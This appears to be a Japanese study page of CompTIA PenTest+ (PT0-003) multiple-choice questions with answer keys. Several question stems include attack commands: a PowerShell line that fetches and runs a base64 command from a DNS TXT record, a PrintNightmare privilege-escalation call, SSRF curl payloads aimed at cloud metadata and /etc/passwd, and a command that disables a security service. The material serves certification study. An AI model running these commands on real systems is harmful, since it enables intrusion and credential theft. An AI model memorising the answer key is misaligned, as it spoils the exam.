PT0-003無料問題集「CompTIA PenTest+」

質問 1

A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network:
$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object
-ExpandProperty Strings $decodecmd =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Stri ng($base64cmd)) Powershell -C $decodecmd Which of the following best describes the technique the tester is applying?

（A）DNS trail

（B）DNS infiltration

（C）DNS tunneling

（D）DNS poisoning

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 2

A penetration tester sets up a C2 server to manage and control payloads deployed in the target network.
Which of the following tools is the most suitable for establishing a robust and stealthy connection?

（A）sshuttle

（B）Covenant

（C）PsExec

（D）ProxyChains

正解：B 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 3

During an assessment, a penetration tester manages to get RDP access via a low-privilege user.
The tester attempts to escalate privileges by running the following commands:
Import-Module .\PrintNightmare.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -
DriverName "Print"
The tester attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low. Which of the following actions should the penetration tester take next?

（A）Log off and log on with "hacker".

（B）Bypass the execution policy.

（C）Add a malicious printer driver.

（D）Attempt to add another user.

正解：A 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 4

While conducting an assessment, a penetration tester identifies the details for several unreleased products announced at a company-wide meeting. Which of the following attacks did the tester most likely use to discover this information?

（A）SQL injection attack

（B）Credential harvesting

（C）Eavesdropping

（D）Bluesnarfing

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 5

During a security assessment of an e-commerce website, a penetration tester wants to exploit a vulnerability in the web server's input validation that will allow unauthorized transactions on behalf of the user. Which of the following techniques would most likely be used for that purpose?

（A）DOM injection

（B）Privilege escalation

（C）Cross-site scripting

（D）Session hijacking

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 6

A penetration tester observes the following output from an Nmap command while attempting to troubleshoot connectivity to a Linux server:

Which of the following is the most likely reason for the connectivity issue?

（A）The SSH service requires certificate authentication.

（B）The SSH service is not active.

（C）The SSH service is blocked by a firewall.

（D）The SSH service is running on a different port.

正解：D 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 7

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

（A）curl <url>?param=http://127.0.0.1/

（B）curl '<url>?param=<script>alert(1)<script>/'

（C）curl '<url>?param=http://127.0.0.1/etc/passwd'

（D）curl <url>?param=http://169.254.169.254/latest/meta-data/

正解：D 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 8

Which of the following elements of a penetration test report can be used to most effectively prioritize the remediation efforts for all the findings?

（A）Detailed findings list

（B）Risk score

（C）Methodology

（D）Executive summary

正解：B 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 9

A penetration tester gains shell access to a Windows host. The tester needs to permanently turn off protections in order to install additional payload. Which of the following commands is most appropriate?

（A）pskill <pid_svc_name>

（B）sc query state= all

（C）sc config <svc_name> start=disabled

（D）net config <svc_name>

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 10

A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?

（A）Authorization letter

（B）Terms of service

（C）Testing window

（D）Shared responsibilities

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 11

A penetration tester currently conducts phishing reconnaissance using various tools and accounts for multiple intelligence-gathering platforms. The tester wants to consolidate some of the tools and accounts into one solution to analyze the output from the intelligence-gathering tools. Which of the following is the best tool for the penetration tester to use?

（A）Caldera

（B）SpiderFoot

（C）WIGLE.net

（D）Maltego

正解：D 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

PT0-003 無料問題集「CompTIA PenTest+」

弊社を連絡する

関連リンク

トップ試験